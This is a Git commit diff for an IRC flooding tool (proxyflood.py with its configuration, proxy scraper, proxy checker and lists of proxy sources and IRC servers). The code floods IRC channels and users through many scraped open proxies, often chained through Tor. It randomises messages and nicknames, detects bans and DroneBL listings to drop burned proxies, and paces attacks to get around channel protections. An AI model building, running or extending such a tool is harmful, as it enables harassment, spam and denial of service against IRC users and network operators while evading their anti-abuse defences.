changs
This commit is contained in:
19
config.py
19
config.py
@@ -54,16 +54,19 @@ class Config(ComboParser):
|
|||||||
|
|
||||||
section = 'flood'
|
section = 'flood'
|
||||||
self.add_item(section, 'server', str, None, 'irc server address', False)
|
self.add_item(section, 'server', str, None, 'irc server address', False)
|
||||||
self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', False)
|
self.add_item(section, 'target', str, '#flood', 'target to flood', False)
|
||||||
self.add_item(section, 'nickserv', str, "nickserv's nickname", '', False)
|
self.add_item(section, 'nickserv', str, "nickserv's nickname", '', False)
|
||||||
self.add_item(section, 'message', str, None, 'message', False)
|
self.add_item(section, 'message', str, None, 'message', False)
|
||||||
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
||||||
self.add_item(section, 'register', int, 0, 'register nickname when required (default: false)', False)
|
self.add_item(section, 'register', int, 0, 'register nickname when required', False)
|
||||||
|
|
||||||
self.add_item(section, 'once', int, 0, 'quit as soon as possible (default: 0)', False)
|
self.add_item(section, 'once', int, 0, 'quit as soon as possible', False)
|
||||||
self.add_item(section, 'duration', int, 90, 'maximum time to run (default: 90 secs)', False)
|
self.add_item(section, 'waitonsuccess', int, 0, 'wait for a while on success', False)
|
||||||
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False)
|
self.add_item(section, 'debug', int, 0, 'use debug', False)
|
||||||
|
self.add_item(section, 'duration', int, 90, 'maximum time to run ', False)
|
||||||
|
self.add_item(section, 'delay', int, 14400, 'if waitonsuccess, wait for $delay before sending another bot', False)
|
||||||
|
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random)', False)
|
||||||
self.add_item(section, 'cycle', int, 0, 'cycle flood', False)
|
self.add_item(section, 'cycle', int, 0, 'cycle flood', False)
|
||||||
self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates) - default: 0', False)
|
self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates)', False)
|
||||||
self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout (default: false)', False)
|
self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout', False)
|
||||||
self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run - default: 1', False)
|
self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run', False)
|
||||||
|
|||||||
32
import.txt
32
import.txt
@@ -1,3 +1,35 @@
|
|||||||
|
https://hidemy.name/en/proxy-list/
|
||||||
|
https://hideip.me/en/proxy/socks5list
|
||||||
|
https://www.proxyrack.com/free-proxy-list/
|
||||||
|
https://www.coderduck.com/free-proxy-list
|
||||||
|
https://www.sslproxies.org/
|
||||||
|
https://www.proxylist4all.com/free-proxy-list/free-elite-proxy-list
|
||||||
|
https://premproxy.com/list/
|
||||||
|
https://www.proxynova.com/proxy-server-list/elite-proxies/
|
||||||
|
http://proxydb.net/?protocol=http&protocol=https&protocol=socks4&protocol=socks5&anonlvl=1&anonlvl=2&anonlvl=3&anonlvl=4&country=
|
||||||
|
https://www.my-proxy.com/free-elite-proxy.html
|
||||||
|
https://spys.one/en/
|
||||||
|
http://foxtools.ru/Proxy
|
||||||
|
https://2ip.ru/proxy/
|
||||||
|
https://free-proxy-list.net/
|
||||||
|
https://proxy-list.org/english/index.php
|
||||||
|
https://www.proxy-list.download/HTTP
|
||||||
|
http://free-proxy.cz/ru/proxylist/country/all/socks5/ping/all
|
||||||
|
https://www.proxydocker.com/en/socks5-list/
|
||||||
|
https://www.proxydocker.com/en/proxylist/type/socks
|
||||||
|
https://www.proxydocker.com/en/proxylist/anonymity/ELITE
|
||||||
|
https://www.proxydocker.com/en/proxylist/anonymity/ANONYMOUS
|
||||||
|
https://www.proxydocker.com/en/proxylist/anonymity/TRANSPARENT
|
||||||
|
https://sockslist.net/
|
||||||
|
https://sockslist.net/proxy/server-socks-hide-ip-address/
|
||||||
|
https://sockslist.net/list/proxy-socks-4-list/
|
||||||
|
https://sockslist.net/list/proxy-socks-5-list/
|
||||||
|
https://50na50.net/ru/proxy/socks5list
|
||||||
|
https://www.socks-proxy.net/
|
||||||
|
https://advanced.name/ru/freeproxy?type=socks5&ddexp4attempt=1
|
||||||
|
https://advanced.name/ru/freeproxy
|
||||||
|
https://top-proxies.ru/free_proxy.php
|
||||||
|
https://proxy-fresh.ru/
|
||||||
https://www.coderduck.com/free-proxy-list
|
https://www.coderduck.com/free-proxy-list
|
||||||
https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt
|
https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt
|
||||||
https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt
|
https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt
|
||||||
|
|||||||
6
ppf.py
6
ppf.py
@@ -321,16 +321,16 @@ if __name__ == '__main__':
|
|||||||
statusmsg = time.time()
|
statusmsg = time.time()
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
|
time.sleep(random.random()/10)
|
||||||
if (time.time() - statusmsg) > 180:
|
if (time.time() - statusmsg) > 180:
|
||||||
_log('running %d thread(s) over %d' % (len(threads), config.ppf.threads), 'ppf')
|
_log('running %d thread(s) over %d' % (len(threads), config.ppf.threads), 'ppf')
|
||||||
statusmsg = time.time()
|
statusmsg = time.time()
|
||||||
time.sleep(0.1)
|
|
||||||
if not len(rows):
|
if not len(rows):
|
||||||
if (time.time() - reqtime) > 3:
|
if (time.time() - reqtime) > 3:
|
||||||
rows = urldb.execute(qurl, (config.ppf.max_fail, config.ppf.checktime, config.ppf.perfail_checktime, int(time.time()))).fetchall()
|
rows = urldb.execute(qurl, (config.ppf.max_fail, config.ppf.checktime, config.ppf.perfail_checktime, int(time.time()))).fetchall()
|
||||||
reqtime = time.time()
|
reqtime = time.time()
|
||||||
if len(rows) < config.ppf.threads:
|
if len(rows) < config.ppf.threads:
|
||||||
time.sleep(5)
|
time.sleep(60)
|
||||||
rows = []
|
rows = []
|
||||||
else:
|
else:
|
||||||
nao = time.time()
|
nao = time.time()
|
||||||
@@ -345,7 +345,6 @@ if __name__ == '__main__':
|
|||||||
url, proxylist, stale_count, error, retrievals, content_type, proxies_added, execute = thread.retrieve()
|
url, proxylist, stale_count, error, retrievals, content_type, proxies_added, execute = thread.retrieve()
|
||||||
new = []
|
new = []
|
||||||
for p in proxylist:
|
for p in proxylist:
|
||||||
#print(p)
|
|
||||||
if not p in _known_proxies:
|
if not p in _known_proxies:
|
||||||
new.append(p)
|
new.append(p)
|
||||||
_known_proxies[p]=1
|
_known_proxies[p]=1
|
||||||
@@ -363,6 +362,7 @@ if __name__ == '__main__':
|
|||||||
t = Leechered(row[0], row[1], row[2], row[3], row[4], row[5])
|
t = Leechered(row[0], row[1], row[2], row[3], row[4], row[5])
|
||||||
threads.append(t)
|
threads.append(t)
|
||||||
t.start()
|
t.start()
|
||||||
|
time.sleep(random.random()/100)
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
if watcherd:
|
if watcherd:
|
||||||
|
|||||||
138
proxyflood.py
138
proxyflood.py
@@ -21,6 +21,9 @@ cached_dns = dict()
|
|||||||
|
|
||||||
is_target_protected = None
|
is_target_protected = None
|
||||||
default_threads = None
|
default_threads = None
|
||||||
|
badlist = []
|
||||||
|
waitonsuccess = None
|
||||||
|
has_joined = []
|
||||||
|
|
||||||
with open('usernames.txt') as h:
|
with open('usernames.txt') as h:
|
||||||
nicklist = [ nick.strip() for nick in h.readlines() ]
|
nicklist = [ nick.strip() for nick in h.readlines() ]
|
||||||
@@ -33,7 +36,7 @@ def socks4_resolve(srvname, server_port):
|
|||||||
srv = srvname
|
srv = srvname
|
||||||
if srv in cached_dns:
|
if srv in cached_dns:
|
||||||
srv = cached_dns[srvname]
|
srv = cached_dns[srvname]
|
||||||
if config.watchd.debug:
|
if config.flood.debug:
|
||||||
_log("using cached ip (%s) for %s"%(srv, srvname), "debug")
|
_log("using cached ip (%s) for %s"%(srv, srvname), "debug")
|
||||||
else:
|
else:
|
||||||
dns_fail = False
|
dns_fail = False
|
||||||
@@ -54,33 +57,60 @@ def socks4_resolve(srvname, server_port):
|
|||||||
|
|
||||||
def has_been_lined(recv):
|
def has_been_lined(recv):
|
||||||
recv = recv.lower()
|
recv = recv.lower()
|
||||||
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'proxy', 'drone' ]
|
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'bot/proxy', 'proxy/drone', 'efnetrbl' ]
|
||||||
for bkw in badkw:
|
for bkw in badkw:
|
||||||
if bkw in recv: return True
|
if bkw in recv: return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def randcrap(msg):
|
||||||
|
if not '%RANDCRAP%' in msg: return msg
|
||||||
|
while '%RANDCRAP%' in msg:
|
||||||
|
crap = ''
|
||||||
|
chars = string.ascii_letters + string.punctuation
|
||||||
|
for i in range( random.randint(1,5)):
|
||||||
|
if len(crap): crap = '%s ' %crap
|
||||||
|
crap = '%s%s' %(crap, ''.join(random.choice(string.ascii_letters) for x in range(random.randint(1,10))))
|
||||||
|
msg = msg.replace('%RANDCRAP%', crap,1)
|
||||||
|
return msg.lower()
|
||||||
|
|
||||||
|
def ischan(c):
|
||||||
|
if '%' in c or '#' in c: return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def flood(sock):
|
def flood(sock):
|
||||||
nick = random.choice(nicklist) + str(random.randint(1000,9999))
|
nick = random.choice(nicklist)
|
||||||
if config.flood.message is not None: msgs = config.flood.message.split(';')
|
global has_joined
|
||||||
|
if config.flood.message is not None:
|
||||||
|
msgs = config.flood.message.split(';')
|
||||||
|
msgs = [ randcrap(msg) for msg in msgs ]
|
||||||
|
|
||||||
|
chans = ','.join( [ i for i in config.flood.target.split(',') if ischan(i) ] )
|
||||||
|
nicks = ','.join( [ i for i in config.flood.target.split(',') if not ischan(i) ] )
|
||||||
|
|
||||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
||||||
ticks = time.time()
|
ticks = time.time()
|
||||||
sent_ping = False
|
sent_ping = False
|
||||||
ret = True
|
#ret = True
|
||||||
|
ret = False
|
||||||
|
global is_target_protected
|
||||||
|
global default_threads
|
||||||
|
global waitonsuccess
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
if config.flood.duration > 0:
|
if config.flood.duration > 0:
|
||||||
if (time.time() - ticks) > config.flood.duration: break
|
if (time.time() - ticks) > config.flood.duration: break
|
||||||
|
elif waitonsuccess: break
|
||||||
|
|
||||||
recv = sock.recvline()
|
recv = sock.recvline()
|
||||||
if not len(recv): break
|
if not len(recv):
|
||||||
elif not ' 372 ' in recv: print(recv.strip())
|
break
|
||||||
|
elif not ' 372 ' in recv:
|
||||||
|
print(recv.strip())
|
||||||
|
if has_been_lined(recv):
|
||||||
|
ret = False
|
||||||
|
break
|
||||||
|
|
||||||
#if 'Proxy/Drone' in recv or 'contact kline@' in recv:
|
|
||||||
# ret = False
|
|
||||||
# break
|
|
||||||
if recv.startswith('ERROR'):
|
if recv.startswith('ERROR'):
|
||||||
if has_been_lined(recv): ret = False
|
|
||||||
break
|
break
|
||||||
elif recv.startswith('PING'):
|
elif recv.startswith('PING'):
|
||||||
if config.flood.use_timeout:
|
if config.flood.use_timeout:
|
||||||
@@ -91,53 +121,68 @@ def flood(sock):
|
|||||||
_split = recv.split(' ')
|
_split = recv.split(' ')
|
||||||
# irc welcome message
|
# irc welcome message
|
||||||
if _split[1] == '001':
|
if _split[1] == '001':
|
||||||
# target is a chan
|
send = []
|
||||||
if '#' in config.flood.target or '%' in config.flood.target or '%' in config.flood.target:
|
if config.flood.change_nick and config.flood.message is not None and len(nicks):
|
||||||
sock.send('JOIN %s\r\n' % config.flood.target)
|
for i in range(config.flood.change_nick): send.append('PRIVMSG %s :%s\r\nNICK %s\r\n' %(nicks, random.choice(msgs), random.choice(nicklist)))
|
||||||
|
if len(chans):
|
||||||
# target is a nick
|
send.append('JOIN %s\r\nPRIVMSG %s :%s\r\n' % (chans, config.flood.target, random.choice(msgs)))
|
||||||
elif config.flood.message is not None:
|
if len(send):
|
||||||
if config.flood.change_nick:
|
print( '001: sending %s' % '\r\n'.join(send))
|
||||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
sock.send('\r\n'.join(send))
|
||||||
else:
|
|
||||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
|
||||||
|
|
||||||
if config.flood.once:
|
|
||||||
sock.send('QUIT\r\n')
|
|
||||||
|
|
||||||
# end of names list (joined a chan)
|
# end of names list (joined a chan)
|
||||||
elif _split[1] == '366':
|
elif _split[1] == '366':
|
||||||
ret = True
|
ret = True
|
||||||
if config.flood.message is not None:
|
send = []
|
||||||
if config.flood.change_nick:
|
c = _split[3]
|
||||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
|
||||||
else:
|
|
||||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
|
||||||
if config.flood.cycle:
|
|
||||||
sock.send('PART %s\r\nJOIN %s\r\n' % (_split[3], _split[3]))
|
|
||||||
#time.sleep(1)
|
|
||||||
|
|
||||||
elif config.flood.once:
|
if not c in has_joined:
|
||||||
sock.send('QUIT\r\n')
|
has_joined.append( c )
|
||||||
|
|
||||||
|
#elif config.flood.message is not None:
|
||||||
|
# send.append('PRIVMSG %s :%s' %(config.flood.target, random.choice(msgs)))
|
||||||
|
|
||||||
|
if config.flood.cycle:
|
||||||
|
if config.flood.message is not None:
|
||||||
|
send.append('PART %s\r\nJOIN %s\r\nPRIVMSG %s :%s' %(c,c,c,random.choice(msgs)))
|
||||||
|
else:
|
||||||
|
send.append('PART %s\r\nJOIN %s' %(c,c))
|
||||||
|
|
||||||
|
if config.flood.once:
|
||||||
|
send.append('QUIT')
|
||||||
|
|
||||||
|
if len(send):
|
||||||
|
sock.send('\r\n'.join(send) + '\r\n')
|
||||||
|
print('366 sent: %s' %'\r\n'.join(send))
|
||||||
|
|
||||||
|
if config.flood.waitonsuccess:
|
||||||
|
print('bots should now wait')
|
||||||
|
waitonsuccess = time.time()
|
||||||
|
|
||||||
# nick reseverd or already used
|
# nick reseverd or already used
|
||||||
elif _split[1] == '432' or _split[1] == '433':
|
elif _split[1] == '432' or _split[1] == '433':
|
||||||
sock.send('NICK %s\r\n' % random.choice(nicklist))
|
sock.send('NICK %s%d\r\n' % (nick,random.randint(1000,9999)))
|
||||||
|
|
||||||
|
# code 500
|
||||||
|
elif _split[1] == '500':
|
||||||
|
if 'too many join request' in recv.lower(): break
|
||||||
# chan +i
|
# chan +i
|
||||||
elif _split[1] == '473':
|
elif _split[1] == '473':
|
||||||
global is_target_protected
|
|
||||||
if is_target_protected is not None: break
|
if is_target_protected is not None: break
|
||||||
|
|
||||||
global default_threads
|
|
||||||
is_target_protected = time.time()
|
is_target_protected = time.time()
|
||||||
default_threads = config.flood.threads
|
default_threads = config.flood.threads
|
||||||
config.flood.threads = 1
|
config.flood.threads = 1
|
||||||
print('target is protected, aborting')
|
print('target is protected (+i), aborting')
|
||||||
break
|
break
|
||||||
# user or chan sets mode +R
|
# user or chan sets mode +R
|
||||||
elif _split[1] == '477' or _split[1] == '531':
|
elif _split[1] == '477' or _split[1] == '531':
|
||||||
if not config.flood.register: break
|
if not config.flood.register:
|
||||||
|
is_target_protected = time.time()
|
||||||
|
default_threads = config.flood.threads
|
||||||
|
config.flood.threads = 1
|
||||||
|
print('target is protected (+R), aborting')
|
||||||
|
break
|
||||||
|
|
||||||
sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
@@ -164,6 +209,12 @@ class WorkerJob():
|
|||||||
self.isoldies = oldies
|
self.isoldies = oldies
|
||||||
|
|
||||||
def connect_socket(self):
|
def connect_socket(self):
|
||||||
|
global badlist
|
||||||
|
#global waitonsuccess
|
||||||
|
#if self.proxy in badlist: return False
|
||||||
|
if config.flood.waitonsuccess and waitonsuccess is not None:
|
||||||
|
if (time.time() - waitonsuccess) < config.flood.delay: return True
|
||||||
|
|
||||||
srvname = config.flood.server
|
srvname = config.flood.server
|
||||||
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
protos = ['http', 'socks5', 'socks4'] if self.proto is None else [self.proto]
|
||||||
use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl
|
use_ssl = random.choice([0,1]) if config.flood.use_ssl == 2 else config.flood.use_ssl
|
||||||
@@ -192,10 +243,11 @@ class WorkerJob():
|
|||||||
sock.connect()
|
sock.connect()
|
||||||
status = flood(sock)
|
status = flood(sock)
|
||||||
print('status: %s' %str(status))
|
print('status: %s' %str(status))
|
||||||
|
if not status and not self.proxy in badlist: badlist.append(self.proxy)
|
||||||
return status
|
return status
|
||||||
|
|
||||||
except rocksock.RocksockException as e:
|
except rocksock.RocksockException as e:
|
||||||
if config.watchd.debug:
|
if config.flood.debug:
|
||||||
_log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug')
|
_log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug')
|
||||||
|
|
||||||
et = e.get_errortype()
|
et = e.get_errortype()
|
||||||
@@ -235,7 +287,6 @@ class WorkerJob():
|
|||||||
time.sleep(10)
|
time.sleep(10)
|
||||||
return
|
return
|
||||||
is_target_protected = None
|
is_target_protected = None
|
||||||
#global config.flood.threads
|
|
||||||
global default_threads
|
global default_threads
|
||||||
config.flood.threads = default_threads
|
config.flood.threads = default_threads
|
||||||
|
|
||||||
@@ -407,11 +458,6 @@ class Proxywatchd():
|
|||||||
ret = False
|
ret = False
|
||||||
|
|
||||||
_log("success rate: %.2f%%"%success_rate, 'flood')
|
_log("success rate: %.2f%%"%success_rate, 'flood')
|
||||||
#self._prep_db()
|
|
||||||
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
|
|
||||||
#self.mysqlite.executemany(query, args)
|
|
||||||
#self.mysqlite.commit()
|
|
||||||
#self._close_db()
|
|
||||||
self.collected = []
|
self.collected = []
|
||||||
self.totals['submitted'] += len(args)
|
self.totals['submitted'] += len(args)
|
||||||
self.totals['success'] += sc
|
self.totals['success'] += sc
|
||||||
|
|||||||
@@ -77,8 +77,9 @@ class WorkerJob():
|
|||||||
if not srv: continue
|
if not srv: continue
|
||||||
|
|
||||||
duration = time.time()
|
duration = time.time()
|
||||||
|
#rocksock.RocksockProxyFromURL('socks4://%s' % torhost),
|
||||||
proxies = [
|
proxies = [
|
||||||
rocksock.RocksockProxyFromURL('socks4://%s' % torhost),
|
rocksock.RocksockProxyFromURL('socks5://%s' % torhost),
|
||||||
rocksock.RocksockProxyFromURL('%s://%s' % (proto, self.proxy)),
|
rocksock.RocksockProxyFromURL('%s://%s' % (proto, self.proxy)),
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -128,7 +129,8 @@ class WorkerJob():
|
|||||||
self.failcount += failinc
|
self.failcount += failinc
|
||||||
return
|
return
|
||||||
try:
|
try:
|
||||||
recv = sock.recv(6)
|
#recv = sock.recv(6)
|
||||||
|
recv = sock.recvline()
|
||||||
|
|
||||||
# good data
|
# good data
|
||||||
if re.match('^(:|NOTICE)', recv, re.IGNORECASE):
|
if re.match('^(:|NOTICE)', recv, re.IGNORECASE):
|
||||||
@@ -146,6 +148,9 @@ class WorkerJob():
|
|||||||
torstats = "" if len(config.torhosts)==1 else ' tor: %s;'%tor
|
torstats = "" if len(config.torhosts)==1 else ' tor: %s;'%tor
|
||||||
recvstats = "".join([x if x in string.printable and ord(x) > 32 else '.' for x in recv])
|
recvstats = "".join([x if x in string.printable and ord(x) > 32 else '.' for x in recv])
|
||||||
_log('%s://%s (%s) d: %.2f sec(s);%s srv: %s; recv: %s' % (proto, self.proxy, self.country, duration, torstats, srv, recvstats), 'xxxxx')
|
_log('%s://%s (%s) d: %.2f sec(s);%s srv: %s; recv: %s' % (proto, self.proxy, self.country, duration, torstats, srv, recvstats), 'xxxxx')
|
||||||
|
else:
|
||||||
|
print('bad data: %s' %recv.strip())
|
||||||
|
self.failcount += 1
|
||||||
except KeyboardInterrupt as e:
|
except KeyboardInterrupt as e:
|
||||||
raise e
|
raise e
|
||||||
except rocksock.RocksockException as e:
|
except rocksock.RocksockException as e:
|
||||||
@@ -210,7 +215,7 @@ class WorkerThread():
|
|||||||
elif not self.thread:
|
elif not self.thread:
|
||||||
break
|
break
|
||||||
if self.done.is_set(): break
|
if self.done.is_set(): break
|
||||||
time.sleep(0.01)
|
time.sleep( random.random() / 100)
|
||||||
if self.thread:
|
if self.thread:
|
||||||
succ_rate = try_div(success_count, job_count)*100
|
succ_rate = try_div(success_count, job_count)*100
|
||||||
avg_succ_t = try_div(duration_success_total, success_count)
|
avg_succ_t = try_div(duration_success_total, success_count)
|
||||||
@@ -358,13 +363,14 @@ class Proxywatchd():
|
|||||||
if self.in_background:
|
if self.in_background:
|
||||||
wt.start_thread()
|
wt.start_thread()
|
||||||
self.threads.append(wt)
|
self.threads.append(wt)
|
||||||
time.sleep( (random.random()/100) )
|
#time.sleep( (random.random()/100) )
|
||||||
|
time.sleep( (random.random()/10) )
|
||||||
|
|
||||||
sleeptime = 0
|
sleeptime = 0
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
|
||||||
if self.stopping.is_set():
|
if self.stopping.is_set():
|
||||||
|
print('stopping is_set')
|
||||||
if self.in_background: self._cleanup()
|
if self.in_background: self._cleanup()
|
||||||
break
|
break
|
||||||
|
|
||||||
@@ -378,6 +384,7 @@ class Proxywatchd():
|
|||||||
if self.threads[random.choice(xrange(len(self.threads)))].jobcount() == 0:
|
if self.threads[random.choice(xrange(len(self.threads)))].jobcount() == 0:
|
||||||
self.collect_unfinished()
|
self.collect_unfinished()
|
||||||
if not len(self.jobs):
|
if not len(self.jobs):
|
||||||
|
print('jobs are done ?')
|
||||||
self.collect_work()
|
self.collect_work()
|
||||||
if not self.submit_collected() and self.tor_safeguard:
|
if not self.submit_collected() and self.tor_safeguard:
|
||||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd")
|
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd")
|
||||||
|
|||||||
@@ -41,7 +41,8 @@ def proxyfind(sqlite = None, urignore=None):
|
|||||||
search = search + random.choice(search_terms)
|
search = search + random.choice(search_terms)
|
||||||
|
|
||||||
if not len(search): return
|
if not len(search): return
|
||||||
search_args = [ 'category=general', 'time_range=%s' % random.choice(['day','week','month','year']), 'q=%s' % urllib.quote_plus(search) ]
|
#search_args = [ 'category=general', 'time_range=%s' % random.choice(['day','week','month','year']), 'q=%s' % urllib.quote_plus(search) ]
|
||||||
|
search_args = [ 'category=general', 'time_range=%s' % random.choice(['day','week']), 'q=%s' % urllib.quote_plus(search) ]
|
||||||
random.shuffle(search_args)
|
random.shuffle(search_args)
|
||||||
search_arg = '&'.join(search_args)
|
search_arg = '&'.join(search_args)
|
||||||
|
|
||||||
|
|||||||
@@ -1,27 +1,31 @@
|
|||||||
elite proxylist
|
|
||||||
elite http proxies
|
|
||||||
elite socks proxies
|
|
||||||
anonymous proxies updated
|
|
||||||
anonymous proxies hourly
|
|
||||||
anonymous proxies daily
|
|
||||||
anonymous proxylist updated
|
|
||||||
anonymous proxylist hourly
|
|
||||||
anonymous proxylist daily
|
|
||||||
transparent proxylist fresh
|
|
||||||
transparent proxylist updated
|
|
||||||
transparent proxylist hourly
|
|
||||||
transparent proxylist daily
|
|
||||||
hourly http proxy
|
|
||||||
hourly socks proxy
|
|
||||||
daily http proxy
|
|
||||||
daily socks proxy
|
|
||||||
fresh http proxy list
|
|
||||||
fresh socks proxy list
|
|
||||||
updated http proxy list
|
|
||||||
updated socks proxy list
|
|
||||||
download http proxy
|
|
||||||
download socks proxy
|
|
||||||
доверенное лицо
|
доверенное лицо
|
||||||
свежий список прокси
|
свежий список прокси
|
||||||
http прокси
|
http прокси
|
||||||
socks прокси
|
socks прокси
|
||||||
|
Элитный список прокси
|
||||||
|
Список элитных носков
|
||||||
|
список HTTP прокси
|
||||||
|
Элитный проксилист
|
||||||
|
элитные прокси
|
||||||
|
Elite HTTP Proxies
|
||||||
|
Elite Socks Proxies
|
||||||
|
Анонимные прокси обновлены
|
||||||
|
Анонимные прокси почасовые
|
||||||
|
Анонимные прокси в день
|
||||||
|
Анонимный проксилист обновлен
|
||||||
|
Анонимный проксилист почасовой
|
||||||
|
Анонимный проксилист в день
|
||||||
|
Прозрачный проксилист свежий
|
||||||
|
Прозрачный проксилист обновлен
|
||||||
|
прозрачный проксилист почасовой
|
||||||
|
прозрачный проксилист в день
|
||||||
|
почасовой http прокси
|
||||||
|
Почасовые носки прокси
|
||||||
|
Ежедневный HTTP Proxy
|
||||||
|
Ежедневные носки прокси
|
||||||
|
Свежий список прокси
|
||||||
|
Свежие носки прокси
|
||||||
|
Обновлен список HTTP Proxy
|
||||||
|
Обновленные носки прокси
|
||||||
|
Скачать HTTP Proxy
|
||||||
|
Скачать Socks Proxy
|
||||||
|
|||||||
@@ -1,4 +1,9 @@
|
|||||||
https://searx.xyz
|
https://searx.xyz
|
||||||
|
https://searx.be
|
||||||
|
https://searx.bar
|
||||||
|
https://searx.prvcy.eu
|
||||||
|
https://searx.info
|
||||||
|
https://metasearch.nl
|
||||||
#https://searx.site
|
#https://searx.site
|
||||||
#https://searx.win
|
#https://searx.win
|
||||||
#https://searx.ru
|
#https://searx.ru
|
||||||
|
|||||||
@@ -60,13 +60,11 @@ irc.spacetronix.net
|
|||||||
irc.st-city.net
|
irc.st-city.net
|
||||||
irc.starlink-irc.org
|
irc.starlink-irc.org
|
||||||
irc.starlink.org
|
irc.starlink.org
|
||||||
irc.staynet.org
|
|
||||||
irc.swiftirc.net
|
irc.swiftirc.net
|
||||||
irc.teranova.net
|
irc.teranova.net
|
||||||
irc.us.dal.net
|
irc.us.dal.net
|
||||||
irc.us.gamesurge.net
|
irc.us.gamesurge.net
|
||||||
irc.xevion.net
|
irc.xevion.net
|
||||||
irc.xs4all.nl
|
|
||||||
irc.zerofuzion.net
|
irc.zerofuzion.net
|
||||||
uk.quakenet.org
|
uk.quakenet.org
|
||||||
us.quakenet.org
|
us.quakenet.org
|
||||||
|
|||||||
Reference in New Issue
Block a user